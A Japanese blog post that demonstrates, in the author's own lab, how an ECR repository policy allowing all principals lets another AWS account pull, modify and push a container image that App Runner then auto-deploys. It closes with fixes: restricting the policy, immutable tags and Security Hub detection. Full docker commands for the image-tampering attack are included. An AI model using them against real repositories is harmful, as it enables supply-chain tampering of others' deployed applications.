3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ECRプライベートリポジトリに不正アクセスしてみる。ECR設定ミスの危険性

Last updated at Posted at 2025-10-24

はじめに

kyonosukeです。
本記事ではECRの設定ミスとそれによって発生しうる攻撃、そしてその対策を記載します。

目次

いきなりまとめ

プライベートリポジトリだからといって安心してリポジトリポリシーの設定を誤ると、余裕で外部からアクセスされるので気を付けよう!

コード紹介

今回テーマとして取りあげるアーキテクチャはCDKで定義しています。Githubへのリンクを置いておくので気軽に検証にお使いください。悪意のある攻撃者がECRに不正アクセスすることでアプリケーションを更新することができる構成になっています。

アーキテクチャ紹介

今回のアーキテクチャは以下の通りです。

architecture.png

  • ECR
    • プライベートリポジトリで作成
    • リポジトリポリシーですべてのアカウントからの操作を許可している
    • latestタグを使用
    • イメージタグはMutable
  • App Runner
    • Webサービスをホスト
    • ユーザはApp Runnerのデフォルトドメインでアクセス
    • デプロイ設定は自動デプロイに設定

攻撃者がプライベートなECRに不正アクセスをしてコンテナイメージを改ざんすることで、App RunnerでホストしているWebアプリに攻撃をするというストーリーです。

不正アクセスしてみる

さっそく検証をしましょう。今回は攻撃先のAWSアカウントが分かっており、ECRリポジトリ名はある程度推測できるという前提で進めます。

以下コマンドでデプロイします。

# リポジトリをクローン
git clone https://github.com/kyo-tsun/Vulnerable-ECR.git
cd Vulnerable-ECR

# 依存関係をインストール
npm install

# CDKでデプロイ
npx cdk deploy --profile

CFnOutputかCloudFormationの出力タブからApp Runnerのurlを取得してブラウザに貼り付けます。

Outputs:
PrivateEcrStack.AppRunnerUrl = https://XXXXXXXXX.ap-northeast-1.awsapprunner.com

簡易的なWebアプリが表示されるはずです。App Runnerはネットワークを考えなくていいので検証にとても便利。

{7684AB61-B8EF-4C13-A046-234178E38CC1}.png

ではこの環境に対して不正アクセスをしてみましょう。
別のAWSアカウントを用意し、CloudShellを起動します。

ECRへのログインコマンドを実行します。

$ aws ecr get-login-password --region ap-northeast-1 | docker login --username AWS --password-stdin XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com
WARNING! Your password will be stored unencrypted in /home/cloudshell-user/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded

そうしたらDockerイメージを取得します。
Webアプリ画面のタイトルを参考にリポジトリ名を推測します。

$ docker image pull XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
latest: Pulling from vulnerable-app
b96413fb491a: Pull complete 
f5f7ec28452e: Pull complete 
1f4b7af3d5b2: Pull complete 
5b8b459b5346: Pull complete 
8c297c675cbd: Pull complete 
4db3adcfa345: Pull complete 
04df73205e49: Pull complete 
ddaccbf8c35f: Pull complete 
Digest: sha256:ddc115f7bb4e08bf3b0646361620a04a11242f645d9e6ebea2a4bdbe77ebb2bb
Status: Downloaded newer image for XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest

pullできたか確認します。

$ docker image ls
REPOSITORY                                                         TAG       IMAGE ID       CREATED        SIZE
XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app   latest    3bfc0a473c97   23 hours ago   142MB

アプリのコンテナイメージを取得することができました。
ではこれを書き換えましょう。

まず改ざん用のアプリケーションファイルを作成します。

$ cat > hacked-app.py << 'EOF'
from flask import Flask

app = Flask(__name__)

@app.route('/')
def hello():
    return '''
    <h1>🚨 HACKED! 🚨</h1>
    <p>Version: 2.0.0 (COMPROMISED)</p>
    <p>Status: PWNED BY ATTACKER</p>
    '''

@app.route('/health')
def health():
    return {'status': 'compromised'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)
EOF

次にDockerfileを作成します。

$ cat > Dockerfile.hacked << 'EOF'
FROM XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest

# 改ざんしたアプリケーションファイルを上書き
COPY hacked-app.py /app/app.py
EOF

作成したDockerfileでイメージをビルドします。

$ docker build -f Dockerfile.hacked -t hacked-app .
[+] Building 1.9s (7/7) FINISHED                                                                                                                         docker:default
 => [internal] load build definition from Dockerfile.hacked                                                                                                        0.0s
 => => transferring dockerfile: 276B                                                                                                                               0.0s
 => [internal] load metadata for XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest                                                           0.0s
 => [internal] load .dockerignore                                                                                                                                  0.0s
 => => transferring context: 2B                                                                                                                                    0.0s
 => [internal] load build context                                                                                                                                  0.1s
 => => transferring context: 446B                                                                                                                                  0.0s
 => [1/2] FROM XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest                                                                             0.2s
 => [2/2] COPY hacked-app.py /app/app.py                                                                                                                           0.8s
 => exporting to image                                                                                                                                             0.9s
 => => exporting layers                                                                                                                                            0.8s
 => => writing image sha256:037c7f329d12cfac3bb40c89341782cd5a29c6836821a525d096e1dc0dd70968                                                                       0.0s
 => => naming to docker.io/library/hacked-app

イメージの確認をします。

$ docker image ls
REPOSITORY                                                         TAG       IMAGE ID       CREATED          SIZE
hacked-app                                                         latest    037c7f329d12   46 seconds ago   142MB
XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app   latest    3bfc0a473c97   23 hours ago     142MB

作成されていますね。

そうしたらECRにpushします。

$ docker tag hacked-app XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
$ docker push XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
The push refers to repository [450988964145.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app]
111f7e6643fd: Pushed 
5308649b9fc3: Layer already exists 
fe1e1477eb41: Layer already exists 
1d6bcdb79543: Layer already exists 
f7aee1632fdb: Layer already exists 
066418b3f856: Layer already exists 
a72fb8065c60: Layer already exists 
fb1a3962b6aa: Layer already exists 
1d46119d249f: Layer already exists 
latest: digest: sha256:768cc8db0ab995a177d4447166b4d8205fa010d68689b7f0f8f00c1aec84538e size: 2197

pushできましたね。するとApp Runnerのコンソールで更新が実施されていることが分かります。
現状の設定では自動デプロイを有効化しているので、コンテナイメージが最新化されると勝手にアプリケーションが更新されます。

image.png

数分待つとステータスが完了になるので再度Webアプリにアクセスします。

{504D38BF-812D-4452-8B34-154404E90A3F}.png

ばっちり改ざんができました!

対処法

ではなぜこのような攻撃が成立してしまうのでしょうか。ECRの設定ミスの対処法を確認しましょう。

リポジトリポリシー

リポジトリポリシーの修正

現在のリポジトリポリシーは以下のような設定になっています。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "ecr:GetDownloadUrlForLayer",
        "ecr:BatchGetImage",
        "ecr:BatchCheckLayerAvailability",
        "ecr:PutImage",
        "ecr:InitiateLayerUpload",
        "ecr:UploadLayerPart",
        "ecr:CompleteLayerUpload"
      ]
    }
  ]
}

このポリシーは、すべてのAWSアカウントからのECRアクションを許可する、という設定になっています。そのため、別アカウントからのCloudShell経由でコンテナイメージのpullpushが成功してしまいました。

つまり、このようなリポジトリポリシーを設定しているECRは、プライベートリポジトリとは名ばかりのオープンなリポジトリと言えます。

本来であればECRにアクセスできるアカウントを必要最低限に絞り、意図しないアクセスを防ぐべきです。以下に例を示します。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowSpecificAccount",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::111111111111:root"
      },
      "Action": [
        "ecr:GetDownloadUrlForLayer",
        "ecr:BatchGetImage",
        "ecr:BatchCheckLayerAvailability",
        "ecr:PutImage",
        "ecr:InitiateLayerUpload",
        "ecr:UploadLayerPart",
        "ecr:CompleteLayerUpload"
      ]
    }
  ]
}

では実際に設定してみましょう。許可 > ポリシーJSONの編集 から以下のように編集します。

{2E8FF572-5629-4575-8F2B-1D8C3170421E}.png

再度攻撃してみる

上記同様、別アカウントからコンテナイメージのpullを試してみます。

$ docker image pull XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
Error response from daemon: pull access denied for XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app, repository does not exist or may require 'docker login': denied: User: arn:aws:sts::XXXXXXXXXXXX:assumed-role/AWSReservedSSO_AWSAdministratorAccess_XXXXXXXXXXXXXXXX/XXXXXXXXXX@XXXXX.com is not authorized to perform: ecr:BatchGetImage on resource: arn:aws:ecr:ap-northeast-1:XXXXXXXXXXXX:repository/vulnerable-app because no resource-based policy allows the ecr:BatchGetImage action

ちゃんとECRに対するアクションを拒否することができました。このようにECRをマルチアカウントで使う場合は、アクセスできるAWSアカウントを絞るべきです。

イミュータビリティ

現在はイメージタグがMutable、つまりイメージタグ名を上書きできる設定になっています。これは開発環境などでは便利なのですが本番環境で設定するのはお勧めしません。ロールバックが難しくなったり、ソースコードとコンテナイメージに一貫性がなくなり、問題が発生したときに原因の特定が難しくなるからです。

よく見かけるのは今回のようにlateststagingを常に使う運用ですが、タグ名をImmutableに設定することで分かりやすいタグ名を付けることを強制できます。開発チームの文化にもよりますが、できれば対応するべきです。

今回の場合ではMutableになっていることでlatastが更新されたことに気が付かず、意図しないアプリケーションの更新が生じてしまいました。セキュリティ的な観点からもタグの上書きはなくしましょう。

{1ADE66C6-87D4-4BD1-86A9-1E64F080373D}.png

この設定ミスに関してはSecurity Hubで検知ができるので、発報したら対応するようにしましょう。

さいごに

ここまでコード化したApp Runner - ECR環境をテーマに、ECRの設定ミスを突いた攻撃とその対策をまとめました。コンテナアプリの意図しない変更や攻撃を防ぐためにも、コンテナだけではなくECRの設定にも気を配りましょう。

この記事がどなたかの役に立てれば幸いです。

参考

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?